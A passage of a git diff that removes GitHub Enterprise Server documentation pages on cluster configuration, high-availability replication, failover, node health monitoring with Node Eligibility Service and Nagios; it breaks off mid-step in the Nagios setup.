fail over from the cluster's active nodes to the cluster's replica nodes, you can reconfigure high availability in one of two ways. The method you choose will depend on the reason that you failed over, and the state of the original active nodes. - -* Provision and configure a new set of replica nodes for each of the new active nodes in your secondary datacenter. -* Use the original active nodes as the new replica nodes. - -The process for reconfiguring high availability is identical to the initial configuration of high availability. For more information, see [Creating a high availability replica for a cluster](#creating-a-high-availability-replica-for-a-cluster). - -If you use the original active nodes, after reconfiguring high availability, you will need to unset maintenance mode on the nodes. For more information, see [AUTOTITLE](/admin/administering-your-instance/configuring-maintenance-mode/enabling-and-scheduling-maintenance-mode#enabling-or-disabling-maintenance-mode-for-all-nodes-in-a-cluster-via-the-cli). - -## Disabling high availability replication for a cluster - -You can stop replication to the replica nodes for your cluster deployment of {% data variables.product.prodname_ghe_server %}{% ifversion cluster-ha-tooling-improvements %} using the `ghe-cluster-repl-teardown` utility. Alternatively, you can manually disable replication.{% else %}.{% endif %} - -{% ifversion cluster-ha-tooling-improvements %} - -### Disabling replication using `ghe-cluster-repl-teardown` - -{% data reusables.enterprise_clustering.ssh-to-a-node %} -1. To disable replication, run the following command: - - ```shell copy - ghe-cluster-repl-teardown - ``` - -{% data reusables.enterprise_clustering.configuration-finished %} - -### Manually disabling replication - -{% endif %} - -{% data reusables.enterprise_clustering.ssh-to-a-node %} -{% data reusables.enterprise_clustering.open-configuration-file %} -1. In the top-level `[cluster]` section, delete the `redis-master-replica`, and `mysql-master-replica` key-value pairs. -1. Delete each section for a replica node. For replica nodes, `replica` is configured as `enabled`. -{% data reusables.enterprise_clustering.apply-configuration %} -{% data reusables.enterprise_clustering.configuration-finished %} diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/deferring-database-seeding.md b/content/admin/monitoring-and-managing-your-instance/configuring-clustering/deferring-database-seeding.md deleted file mode 100644 index 46b843051d57..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/deferring-database-seeding.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Deferring database seeding -intro: You can speed up the process of adding a new MySQL replica node to your cluster by opting to defer database seeding. -product: '{% data reusables.gated-features.cluster %}' -versions: - ghes: '*' -type: how_to -topics: - - Clustering - - Enterprise -redirect_from: - - /admin/monitoring-managing-and-updating-your-instance/configuring-clustering/deferring-database-seeding ---- - -## About deferring database seeding of a MySQL replica node - ->[!NOTE] ->The ability to defer database seeding{% ifversion ghes < 3.13 %} was added in patch release - 3.12.1 - - and{% endif %} is available as a {% data variables.release-phases.public_preview %}. - -Adding a new MySQL replica node to your cluster when your primary node has more than seven days of data will normally trigger database seeding which can take several hours depending on the amount of data. You can choose to defer database seeding, allowing the config apply run to complete sooner, resulting in being able to open your appliance to traffic sooner. - -You should only defer database seeding if you have already configured at least one MySQL replica, and you are adding an additional MySQL replica. Otherwise, there is no MySQL redundancy until the seeding is complete. - -When you defer database seeding, the new MySQL replica will not be configured for replication nor have a copy of the data on your MySQL primary node until seeding is manually completed later. - -## Configuring deferral of MySQL seeding when adding a new MySQL node - -{% data reusables.enterprise_clustering.replacing-a-cluster-node-provision %} -{% data reusables.enterprise_clustering.replacing-a-cluster-node-admin-configure-ip %} -1. Create the `cluster.conf` entry for the new MySQL node and include the `skip-data-setup = true` field. The example below adds a new node with the hostname `ghe-data-node-3` and the `mysql-server` role. - - <pre> - ... - [cluster "ghe-data-node-3"] - hostname = ghe-data-node-3 - ipv4 = 192.168.0.9 - # ipv6 = fd12:3456:789a:1::7 - mysql-server = true - <strong>skip-data-setup = true</strong> - ... - </pre> - -1. To initialize the new node in the cluster, from the administrative shell of the node with the modified `cluster.conf`, run `ghe-cluster-config-init`. -1. To validate the configuration file, and also copy and configure each node according to the modified `cluster.conf` file, run `ghe-cluster-config-apply`. - -## Manually seeding the data - -Once you have run `ghe-cluster-config-apply`, the MySQL service will be running on your new node but will not be configured as a replica nor will it be seeded with data from the MySQL primary node. To seed data from the MySQL primary node, you will need to configure replication manually. - -1. From the new node, to start manual replication of the MySQL primary node data, run the following command, replacing `PRIMARY_IP` with the IP address of the node running the MySQL primary. - - ```shell - /usr/local/share/enterprise/ghe-mysql-repl-start PRIMARY_IP - ``` - -The time required for database seeding is dependent on the size of data. For large datasets, we recommend running the above command in a `screen` session to ensure it survives SSH disconnects. diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/differences-between-clustering-and-high-availability-ha.md b/content/admin/monitoring-and-managing-your-instance/configuring-clustering/differences-between-clustering-and-high-availability-ha.md deleted file mode 100644 index 0cf87848dee9..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/differences-between-clustering-and-high-availability-ha.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Differences between clustering and high availability (HA) -intro: 'Learn about the differences between deployment topologies for the virtual machines (VMs) that comprise a {% data variables.product.prodname_ghe_server %} instance.' -product: '{% data reusables.gated-features.cluster %}' -redirect_from: - - /enterprise/admin/clustering/differences-between-clustering-and-high-availability-ha - - /enterprise/admin/enterprise-management/differences-between-clustering-and-high-availability-ha - - /admin/enterprise-management/differences-between-clustering-and-high-availability-ha - - /admin/enterprise-management/configuring-clustering/differences-between-clustering-and-high-availability-ha - - /admin/monitoring-managing-and-updating-your-instance/configuring-clustering/differences-between-clustering-and-high-availability-ha -versions: - ghes: '*' -type: reference -topics: - - Clustering - - Enterprise - - High availability - - Infrastructure -shortTitle: Choosing cluster or HA ---- - -## About deployment topologies for {% data variables.product.prodname_ghe_server %} - -You can deploy the virtual machines for a {% data variables.product.prodname_ghe_server %} instance in different topologies depending on your environment and user needs. - -* To support a plan for disaster recovery and supplement backups, or to improve network and write performance for geographically distributed users, you can configure high availability. In a high-availability configuration, one node acts as a primary, while others act as replicas. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration). - -* To provide horizontal scaling for environments with tens of thousands of developers, a cluster topology is available. Clustering addresses situations where a single primary node would routinely experience resource exhaustion. This configuration requires careful planning and additional administrative overhead. {% data variables.product.company_short %} will work with you to determine your eligibility for clustering. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-clustering/about-clustering). - -## Failure scenarios - -High availability (HA) and clustering both provide redundancy by eliminating the single node as a point of failure. They are able to provide availability in these scenarios: - -{% data reusables.enterprise_installation.ha-and-clustering-failure-scenarios %} - -## Scalability - -{% data reusables.enterprise_clustering.clustering-scalability %} In HA, the scale of the appliance is dependent exclusively on the primary node and the load is not distributed to the replica server. - -## Differences in failover method and configuration - -| Feature | Failover configuration | Failover method | -| :------------- | :------------- | :--- | -| High availability configuration | DNS record with a low TTL pointed to the primary appliance, or load balancer. | You must manually promote the replica appliance in both DNS failover and load balancer configurations. | -| Clustering | DNS record must point to a load balancer. | If a node behind the load balancer fails, traffic is automatically sent to the other functioning nodes. | - -## Backups and disaster recovery - -Neither HA nor clustering should be considered a replacement for regular backups. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance). - -## Monitoring - -Availability features, especially ones with automatic failover such as clustering, can mask a failure since service is usually not disrupted when something fails. Whether you are using HA or clustering, monitoring the health of each instance is important so that you are aware when a failure occurs. For more information about monitoring, see [AUTOTITLE](/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds) and [AUTOTITLE](/admin/enterprise-management/configuring-clustering/monitoring-the-health-of-your-cluster). diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/index.md b/content/admin/monitoring-and-managing-your-instance/configuring-clustering/index.md deleted file mode 100644 index 40ce8c5ee02b..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/index.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Configuring clustering -intro: 'The cluster topology for {% data variables.product.prodname_ghe_server %} provides horizontal scaling for environments with tens of thousands of developers.' -product: '{% data reusables.gated-features.cluster %}' -redirect_from: - - /enterprise/admin/clustering/setting-up-the-cluster-instances - - /enterprise/admin/clustering/managing-a-github-enterprise-server-cluster - - /enterprise/admin/guides/clustering/managing-a-github-enterprise-cluster - - /enterprise/admin/enterprise-management/configuring-clustering - - /admin/enterprise-management/configuring-clustering - - /admin/monitoring-managing-and-updating-your-instance/configuring-clustering -versions: - ghes: '*' -topics: - - Enterprise -children: - - /about-clustering - - /differences-between-clustering-and-high-availability-ha - - /about-cluster-nodes - - /cluster-network-configuration - - /initializing-the-cluster - - /deferring-database-seeding - - /upgrading-a-cluster - - /monitoring-the-health-of-your-cluster - - /monitoring-the-health-of-your-cluster-nodes-with-node-eligibility-service - - /rebalancing-cluster-workloads - - /replacing-a-cluster-node - - /configuring-high-availability-replication-for-a-cluster - - /initiating-a-failover-to-your-replica-cluster ---- - diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/initializing-the-cluster.md b/content/admin/monitoring-and-managing-your-instance/configuring-clustering/initializing-the-cluster.md deleted file mode 100644 index 05a9514a6ae5..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/initializing-the-cluster.md +++ /dev/null @@ -1,177 +0,0 @@ ---- -title: Initializing the cluster -intro: 'A {% data variables.product.prodname_ghe_server %} cluster must be set up with a license and initialized using the administrative shell (SSH).' -product: '{% data reusables.gated-features.cluster %}' -redirect_from: - - /enterprise/admin/clustering/initializing-the-cluster - - /enterprise/admin/enterprise-management/initializing-the-cluster - - /admin/enterprise-management/initializing-the-cluster - - /admin/enterprise-management/configuring-clustering/initializing-the-cluster - - /admin/monitoring-managing-and-updating-your-instance/configuring-clustering/initializing-the-cluster -versions: - ghes: '*' -type: how_to -topics: - - Clustering - - Enterprise ---- - -## About initialization of a {% data variables.product.prodname_ghe_server %} cluster - -To deploy a {% data variables.product.prodname_ghe_server %} cluster in your environment, you must install {% data variables.product.prodname_ghe_server %}, upload a cluster-enabled license, configure the first node, and initialize the node with a configuration file. - -{% data reusables.enterprise_clustering.clustering-requires-https %} - -## Installing {% data variables.product.prodname_ghe_server %} - -To start setting up the cluster, install the {% data variables.product.prodname_ghe_server %} appliance on each node's virtual machine (VM), then configure an IP address. - -1. On each cluster node, provision and install {% data variables.product.prodname_ghe_server %}. For more information, see [AUTOTITLE](/admin/installation/setting-up-a-github-enterprise-server-instance). -1. Using the administrative shell or DHCP, **only** configure the IP address of each node. Don't configure any other settings. - -## Configuring the first node - -On the node that will function as your primary MySQL node, install your {% data variables.product.prodname_ghe_server %} license. - -1. Connect to the node that will be designated as MySQL primary in `cluster.conf`. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-clustering/initializing-the-cluster#about-the-cluster-configuration-file). -1. In your web browser, visit `https://<ip address>:8443/setup/`. -{% data reusables.enterprise_installation.upload-a-license-file %} -{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} -{% data reusables.enterprise_installation.instance-will-restart-automatically %} - -## Initializing the cluster - -To initialize the cluster, you need a cluster configuration file (`cluster.conf`). For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-clustering/initializing-the-cluster#about-the-cluster-configuration-file). - -1. From the first node that was configured, run `ghe-cluster-config-init`. This will initialize the cluster if there are nodes in the cluster configuration file that are not configured. -1. Run `ghe-cluster-config-apply`. This will validate the `cluster.conf` file, apply the configuration to each node file and bring up the configured services on each node. - -To check the status of a running cluster use the `ghe-cluster-status` command. - -## About the cluster configuration file - -The cluster configuration file (`cluster.conf`) defines the nodes in the cluster, and what services they run. -For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-clustering/about-cluster-nodes). - -This example `cluster.conf` defines a cluster with 11 nodes. - -* Two nodes called `ghes-front-end-node-\*` run services responsible for responding to client requests. -* Three nodes called `ghes-database-node-\*` run services responsible for storage, retrieval, and replication of database data. -* Three nodes called `ghes-search-node-\*` run services responsible for search functionality. -* Three nodes called `ghes-storage-node-\*` run services responsible for storage, retrieval, and replication of data. - -You must choose a valid and unique hostname and IPv4 address for each node. To ensure that nodes are locally resolvable to each other, {% data variables.product.prodname_ghe_server %} will add a record for each node's hostname to `/etc/hosts` on every node. - -* For more information about valid hostnames for {% data variables.product.prodname_ghe_server %}, see [AUTOTITLE](/admin/configuration/configuring-network-settings/configuring-the-hostname-for-your-instance). -* Each IPv4 address must be an address on a private network. See [RFC 1918](https://datatracker.ietf.org/doc/html/rfc1918) on the IETF website. - -Specify the first cluster node you configured as the MySQL primary via `mysql-server` and `mysql-master`. - -```shell -[cluster] - mysql-master = ghes-database-node-1 - redis-master = ghes-database-node-1 - primary-datacenter = primary -[cluster "ghes-front-end-node-1"] - hostname = ghes-front-end-node-1 - ipv4 = 192.168.0.2 - # ipv6 = fd12:3456:789a:1::2 - consul-datacenter = primary - datacenter = primary - web-server = true - job-server = true - memcache-server = true -[cluster "ghes-front-end-node-2"] - hostname = ghes-front-end-node-2 - ipv4 = 192.168.0.3 - # ipv6 = fd12:3456:789a:1::3 - consul-datacenter = primary - datacenter = primary - web-server = true - job-server = true - memcache-server = true -[cluster "ghes-database-node-1"] - hostname = ghes-database-node-1 - ipv4 = 192.168.0.4 - # ipv6 = fd12:3456:789a:1::4 - consul-datacenter = primary - datacenter = primary - consul-server = true - mysql-server = true - redis-server = true -[cluster "ghes-database-node-2"] - hostname = ghes-database-node-2 - ipv4 = 192.168.0.5 - # ipv6 = fd12:3456:789a:1::5 - consul-datacenter = primary - datacenter = primary - consul-server = true - mysql-server = true - redis-server = true -[cluster "ghes-database-node-3"] - hostname = ghes-database-node-3 - ipv4 = 192.168.0.6 - # ipv6 = fd12:3456:789a:1::6 - consul-datacenter = primary - datacenter = primary - consul-server = true - mysql-server = true - redis-server = true -[cluster "ghes-search-node-1"] - hostname = ghes-search-node-1 - ipv4 = 192.168.0.7 - # ipv6 = fd12:3456:789a:1::7 - consul-datacenter = primary - datacenter = primary - elasticsearch-server = true -[cluster "ghes-search-node-2"] - hostname = ghes-search-node-2 - ipv4 = 192.168.0.8 - # ipv6 = fd12:3456:789a:1::8 - consul-datacenter = primary - datacenter = primary - elasticsearch-server = true -[cluster "ghes-search-node-3"] - hostname = ghes-search-node-3 - ipv4 = 192.168.0.9 - # ipv6 = fd12:3456:789a:1::9 - consul-datacenter = primary - datacenter = primary - elasticsearch-server = true -[cluster "ghes-storage-node-1"] - hostname = ghes-storage-node-1 - ipv4 = 192.168.0.10 - # ipv6 = fd12:3456:789a:1::10 - consul-datacenter = primary - datacenter = primary - git-server = true - pages-server = true - storage-server = true - metrics-server = true -[cluster "ghes-storage-node-2"] - hostname = ghes-storage-node-2 - ipv4 = 192.168.0.11 - # ipv6 = fd12:3456:789a:1::11 - consul-datacenter = primary - datacenter = primary - git-server = true - pages-server = true - storage-server = true - metrics-server = true -[cluster "ghes-storage-node-3"] - hostname = ghes-storage-node-3 - ipv4 = 192.168.0.12 - # ipv6 = fd12:3456:789a:1::12 - consul-datacenter = primary - datacenter = primary - git-server = true - pages-server = true - storage-server = true - metrics-server = true -``` - -Create the file `/data/user/common/cluster.conf` on the configured first node. For example, using `vim`: - - ```shell - ghe-data-node-1:~$ sudo vim /data/user/common/cluster.conf - ``` diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/initiating-a-failover-to-your-replica-cluster.md b/content/admin/monitoring-and-managing-your-instance/configuring-clustering/initiating-a-failover-to-your-replica-cluster.md deleted file mode 100644 index 27ece8d7ebce..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/initiating-a-failover-to-your-replica-cluster.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Initiating a failover to your replica cluster -intro: 'If your {% data variables.product.prodname_ghe_server %} cluster fails, you can fail over to the replica.' -redirect_from: - - /enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster - - /admin/enterprise-management/initiating-a-failover-to-your-replica-cluster - - /admin/monitoring-managing-and-updating-your-instance/configuring-clustering/initiating-a-failover-to-your-replica-cluster -versions: - ghes: '*' -type: how_to -topics: - - Clustering - - Enterprise - - High availability - - Infrastructure -shortTitle: Initiate a failover to replica ---- - -## About failover to your replica cluster - -If the data center for your active cluster experiences a failure and you've configured high availability, you can fail over to your replica cluster. - -Failing over to your replica cluster promotes it to be your new active cluster, and decouples the new active cluster from the old active cluster. The nodes in your old active cluster are placed in maintenance mode if they are in a healthy enough state for this operation to be performed. - -After failover, you will have two standalone clusters without high availability configured. You can reconfigure replication from the new active cluster. For more information, see [AUTOTITLE](/enterprise/admin/enterprise-management/configuring-high-availability-replication-for-a-cluster#reconfiguring-high-availability-replication-after-a-failover). - -## Prerequisites - -To fail over to replica nodes, you must have configured high availability replication for your cluster. For more information, see [AUTOTITLE](/enterprise/admin/enterprise-management/configuring-high-availability-replication-for-a-cluster). - -## Initiating a failover to your replica cluster - -{% ifversion ghes < 3.13 %}{% data reusables.enterprise_clustering.cluster-ip-note %} For more information, see [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/command-line-utilities#ghe-cluster-failover).{% endif %} - -1. SSH into the primary MySQL node in the replica cluster. For more information, see [AUTOTITLE](/enterprise/admin/configuration/accessing-the-administrative-shell-ssh#enabling-access-to-the-administrative-shell-via-ssh). -1. To begin the failover to the secondary cluster and configure the nodes to respond to requests, run the following command. - - ```shell - ghe-cluster-failover - ``` - -{% data reusables.enterprise_clustering.configuration-finished %} -1. Update the DNS record to point to the IP address of the load balancer for your replica cluster. After the TTL period expires, requests will be directed to the replica cluster. - -After {% data variables.product.prodname_ghe_server %} returns you to the prompt and your DNS updates propagate, you've finished failing over. Users can access {% data variables.product.prodname_ghe_server %} using the usual hostname for your cluster. diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/monitoring-the-health-of-your-cluster-nodes-with-node-eligibility-service.md b/content/admin/monitoring-and-managing-your-instance/configuring-clustering/monitoring-the-health-of-your-cluster-nodes-with-node-eligibility-service.md deleted file mode 100644 index 5e83d33e0afe..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/monitoring-the-health-of-your-cluster-nodes-with-node-eligibility-service.md +++ /dev/null @@ -1,196 +0,0 @@ ---- -title: Monitoring the health of your cluster nodes with Node Eligibility Service -shortTitle: Node Eligibility Service -intro: 'You can monitor when nodes in a {% data variables.product.prodname_ghe_server %} cluster have been offline long enough to cause issues by using {% data variables.product.prodname_nes %}.' -permissions: 'People with administrative SSH access to a {% data variables.product.prodname_ghe_server %} instance can monitor cluster nodes.' -product: '{% data reusables.gated-features.cluster %}' -versions: - ghes: '*' -type: how_to -topics: - - Clustering - - Enterprise - - Fundamentals - - Infrastructure - - Monitoring - - Performance -redirect_from: - - /admin/enterprise-management/configuring-clustering/monitoring-the-health-of-your-cluster-nodes-with-node-eligibility-service - - /admin/monitoring-managing-and-updating-your-instance/configuring-clustering/monitoring-the-health-of-your-cluster-nodes-with-node-eligibility-service ---- - -## About {% data variables.product.prodname_nes %} - -In a {% data variables.product.prodname_ghe_server %} cluster, an individual node may become unreachable by other nodes due to a hardware or software failure. After time, even if you restore the node's health, the subsequent synchronization of data can negatively impact your instance's performance. - -You can proactively mitigate the impact of reduced node availability by using {% data variables.product.prodname_nes %}. This service monitors the state of your cluster's nodes and emits a warning if a node has been offline for too long. You can also prevent an offline node from rejoining the cluster. Optionally, you can allow {% data variables.product.prodname_nes %} to take ineligible nodes offline. - -By default, {% data variables.product.prodname_nes %} is disabled. If you enable {% data variables.product.prodname_nes %}, your instance will alert you of unhealthy nodes by displaying a banner in the administrative web UI for {% data variables.product.prodname_ghe_server %}, and in CLI output for some cluster-related utilities, such as `ghe-config-apply` and `ghe-cluster-diagnostics`. - -{% data variables.product.prodname_nes %} allows you to monitor the health of individual nodes. You can also monitor the overall health of your cluster. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-clustering/monitoring-the-health-of-your-cluster). - -## About health and eligibility of cluster nodes - -To determine whether to emit a warning or automatically adjust the configuration of your cluster, {% data variables.product.prodname_nes %} continuously monitors the health of each node. Each node regularly reports a timestamped health state, which {% data variables.product.prodname_nes %} compares to a Time To Live (TTL) duration. - -Each node has a health state and an eligibility state. - -* Health refers to the accessibility of the node within the cluster and has three possible states: `healthy`, `warning`, or `critical`. -* Eligibility refers to the ability of the node to work in the cluster and has two possible states: `eligible` or `ineligible`. - -{% data variables.product.prodname_nes %} provides a configurable TTL setting for two states, `warn` and `fail`. - -* `warn`: The node has been offline for a short period of time. This may indicate something is wrong with the node and that administrators should investigate. The default setting is 15 minutes. -* `fail`: The node has been offline for a long period of time, and reintroduction into the cluster could cause performance issues due to resynchronization. The default setting is 60 minutes. - -For each node, {% data variables.product.prodname_nes %} determines health and eligibility for participation in the cluster in the following ways. - -* If a node has been observed to be healthy, the health state is `healthy` and the eligibility state is `eligible`. -* If a node hasn't been observed to be healthy for longer than the `warn` TTL, the health state is `warning` and the eligibility state is `eligible`. -* If a node hasn't been observed to be healthy for longer than the `fail` TTL, the health state is `critical` and its eligibility state is `ineligible`. - -## Enabling {% data variables.product.prodname_nes %} for your cluster - -By default, {% data variables.product.prodname_nes %} is disabled. You can enable {% data variables.product.prodname_nes %} by setting the value for `app.nes.enabled` using `ghe-config`. - -{% data reusables.enterprise_installation.ssh-into-cluster-node %} -1. To verify whether {% data variables.product.prodname_nes %} is currently enabled, run the following command. - - ```shell copy - ghe-config app.nes.enabled - ``` - -1. To enable {% data variables.product.prodname_nes %}, run the following command. - - ```shell copy - ghe-config app.nes.enabled true - ``` - -{% data reusables.enterprise.apply-configuration %} -1. To verify that {% data variables.product.prodname_nes %} is running, from any node, run the following command. - - ```shell copy - nomad status nes - ``` - -## Configuring TTL settings for {% data variables.product.prodname_nes %} - -To determine how {% data variables.product.prodname_nes %} notifies you, you can configure TTL settings for `fail` and `warn` states. The TTL for the `fail` state must be higher than the TTL for the `warn` state. - -{% data reusables.enterprise_installation.ssh-into-cluster-node %} -1. To verify the current TTL settings, run the following command. - - ```shell copy - nes get-node-ttl all - ``` - -1. To set the TTL for the `fail` state, run the following command. Replace MINUTES with the number of minutes to use for failures. - - ```shell copy - nes set-node-ttl fail MINUTES - ``` - -1. To set the TTL for the `warn` state, run the following command. Replace MINUTES with the number of minutes to use for warnings. - - ```shell copy - nes set-node-ttl warn MINUTES - ``` - -## Managing whether {% data variables.product.prodname_nes %} can take a node offline - -By default, {% data variables.product.prodname_nes %} provides alerts to notify you about changes to the health of cluster nodes. Optionally, if the service determines that an unhealthy node is ineligible to rejoin the cluster, you can allow the service to take the node offline. - -When a node is taken offline, the instance removes job allocations from the node. If the node runs data storage services, {% data variables.product.prodname_nes %} updates the configuration to reflect the node's ineligibility to rejoin the cluster. - -To manage whether {% data variables.product.prodname_nes %} can take a node and its services offline, you can configure `adminaction` states for the node. If a node is in the `approved` state, {% data variables.product.prodname_nes %} can take the node offline. If a node is in the `none` state, {% data variables.product.prodname_nes %} cannot take the node offline. - -{% data reusables.enterprise_installation.ssh-into-cluster-node %} -1. To configure whether {% data variables.product.prodname_nes %} can take a node offline, run one of the following commands. - * To allow the service to automatically take administrative action when a node goes offline, run the following command. Replace HOSTNAME with the node's hostname. - - ```shell copy - nes set-node-adminaction approved HOSTNAME - ``` - - * To revoke {% data variables.product.prodname_nes %}'s ability to take a node offline, run the following command. Replace HOSTNAME with the node's hostname. - - ```shell copy - nes set-node-adminaction none HOSTNAME - ``` - -## Viewing an overview of node health - -To view an overview of your nodes' health using {% data variables.product.prodname_nes %}, use one of the following methods. - -* SSH into any node in the cluster, then run `nes get-cluster-health`. -* Navigate to the {% data variables.enterprise.management_console %}'s "Status" page. For more information, see [AUTOTITLE](/admin/configuration/administering-your-instance-from-the-management-console/accessing-the-management-console). - -## Re-enabling an ineligible node to join the cluster - -After {% data variables.product.prodname_nes %} detects that a node has exceeded the TTL for the `fail` state, and after the service marks the node as `ineligible`, the service will no longer update the health status for the node. To re-enable a node to join the cluster, you can remove the `ineligible` status from the node. - -{% data reusables.enterprise_installation.ssh-into-cluster-node %} -1. To check the current `adminaction` state for the node, run the following command. Replace HOSTNAME with the hostname of the ineligible node. - - ```shell copy - nes get-node-adminaction HOSTNAME - ``` - -1. If the `adminaction` state is currently set to `approved`, change the state to `none` by running the following command. Replace HOSTNAME with the hostname of the ineligible node. - - ```shell copy - nes set-node-adminaction none HOSTNAME - ``` - -1. To ensure the node is in a healthy state, run the following command and confirm that the node's status is `ready`. - - ```shell copy - nomad node status - ``` - - * If the node's status is `ineligible`, make the node eligible by connecting to the node via SSH and running the following command. - - ```shell copy - nomad node eligibility -enable -self - ``` - -1. To update the node's eligibility in {% data variables.product.prodname_nes %}, run the following command. Replace HOSTNAME with the node's hostname. - - ```shell copy - nes set-node-eligibility eligible HOSTNAME - ``` - -1. Wait 30 seconds, then check the cluster's health to confirm the target node is eligible by running the following command. - - ```shell copy - nes get-cluster-health - ``` - -## Viewing logs for {% data variables.product.prodname_nes %} - -You can view logs for {% data variables.product.prodname_nes %} from any node in the cluster, or from the node that runs the service. If you generate a support bundle, the logs are included. For more information, see [AUTOTITLE](/support/contacting-github-support/providing-data-to-github-support). - -{% data reusables.enterprise_installation.ssh-into-cluster-node %} -1. To view logs for {% data variables.product.prodname_nes %} from any node in the cluster, run the following command. - - ```shell copy - nomad alloc logs -job nes - ``` - -1. Alternatively, you can view logs for {% data variables.product.prodname_nes %} on the node that runs the service. The service writes logs to the systemd journal. - - * To determine which node runs {% data variables.product.prodname_nes %}, run the following command. - - ```shell copy - nomad job status "nes" | grep running | grep "${nomad_node_id}" | awk 'NR==2{ print $1 }' | xargs nomad alloc status | grep "Node Name" - ``` - - * To view logs on the node, connect to the node via SSH, then run the following command. - - ```shell copy - journalctl -t nes - ``` - -## Further reading - -* [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#nes) diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/monitoring-the-health-of-your-cluster.md b/content/admin/monitoring-and-managing-your-instance/configuring-clustering/monitoring-the-health-of-your-cluster.md deleted file mode 100644 index b40e1f9e9b37..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/monitoring-the-health-of-your-cluster.md +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: Monitoring the health of your cluster -shortTitle: Monitor cluster health -intro: 'To ensure the performance and redundancy of a {% data variables.product.prodname_ghe_server %} cluster, you can monitor the cluster''s health.' -product: '{% data reusables.gated-features.cluster %}' -redirect_from: - - /enterprise/admin/clustering/monitoring-cluster-nodes - - /enterprise/admin/enterprise-management/monitoring-cluster-nodes - - /admin/enterprise-management/monitoring-cluster-nodes - - /admin/enterprise-management/configuring-clustering/monitoring-cluster-nodes - - /admin/enterprise-management/configuring-clustering/monitoring-the-health-of-your-cluster - - /admin/monitoring-managing-and-updating-your-instance/configuring-clustering/monitoring-the-health-of-your-cluster -versions: - ghes: '*' -type: how_to -topics: - - Clustering - - Enterprise - - Fundamentals - - Infrastructure - - Monitoring - - Performance ---- - -## About {% data variables.product.prodname_ghe_server %} cluster health - -A {% data variables.product.prodname_ghe_server %} cluster comprises multiple nodes, with redundant services distributed across two or more nodes. If an individual service or an entire node fails, users should not notice. Failures affect performance and redundancy, so it's important to monitor the health of your cluster. You can monitor the health of your cluster using a command-line utility or an external monitoring tool like Nagios. - -You can also monitor the health of individual nodes using {% data variables.product.prodname_nes %}. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-clustering/monitoring-the-health-of-your-cluster-nodes-with-node-eligibility-service). - -## Manually checking cluster status - -{% data variables.product.prodname_ghe_server %} has a built-in command line utility for monitoring the health of the cluster. From the administrative shell, running the `ghe-cluster-status` command executes a series of health checks on each node including verification of connectivity and service status. The output shows all test results including the text `ok` or `error`. For example, to only display failing tests, run: - -```shell -admin@ghe-data-node-0:~$ ghe-cluster-status | grep error -> mysql-replication ghe-data-node-0: error Stopped -> mysql cluster: error -``` - -> [!NOTE] -> If there are no failing tests, this command produces no output. This indicates the cluster is healthy. - -{% ifversion ghes-manage-api-cli-extension %} - -## Monitoring cluster status using the {% data variables.product.prodname_cli %} - -You can use the `gh es` extension for {% data variables.product.prodname_cli %} to check the status of your {% data variables.product.prodname_ghe_server %} cluster. For more information, see the [GH ES CLI usage documentation](https://github.com/github/gh-es/blob/main/USAGE.md#gh-es-cluster-status) and [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/administering-your-instance-using-the-github-cli). - -{% endif %} - -## Monitoring cluster status with Nagios - -You can configure [Nagios](https://www.nagios.org/) to monitor {% data variables.product.prodname_ghe_server %}. In addition to monitoring basic connectivity to each of the cluster nodes, you can check the cluster status by configuring Nagios to use the `ghe-cluster-status -n` command. This returns output in a format that Nagios understands. - -### Prerequisites - -* Linux host running Nagios. -* Network access to the {% data variables.product.prodname_ghe_server %} cluster. - -### Configuring the Nagios host - -1. Generate an SSH key with a blank passphrase. Nagios uses this to authenticate to the {% data variables.product.prodname_ghe_server %} cluster. - - ```shell - nagiosuser@nagios:~$ ssh-keygen -t ed25519 - > Generating public/private ed25519 key pair. - > Enter file in which to save the key (/home/nagiosuser/.ssh/id_ed25519): - > Enter passphrase (empty for no passphrase): LEAVE BLANK BY PRESSING ENTER - > Enter same passphrase again: PRESS ENTER AGAIN - > Your identification has been saved in /home/nagiosuser/.ssh/id_ed25519. - > Your public key has been saved in /home/nagiosuser/.ssh/id_ed25519.pub. - ``` - - > [!CAUTION] - > An SSH key without a passphrase can pose a security risk if authorized for full access to a host. Limit this key's authorization to a single read-only command. - - > [!NOTE] - > If you're using a distribution of Linux that doesn't support the Ed25519 algorithm, use the command: - > - > ```shell - > nagiosuser@nagios:~$ ssh-keygen -t rsa -b 4096 - > ``` - -1. Copy the private key (`id_ed25519`) to the `nagios` home folder and set the appropriate ownership. - - ```shell - nagiosuser@nagios:~$ sudo cp .ssh/id_ed25519 /var/lib/nagios/.ssh/ - nagiosuser@nagios:~$ 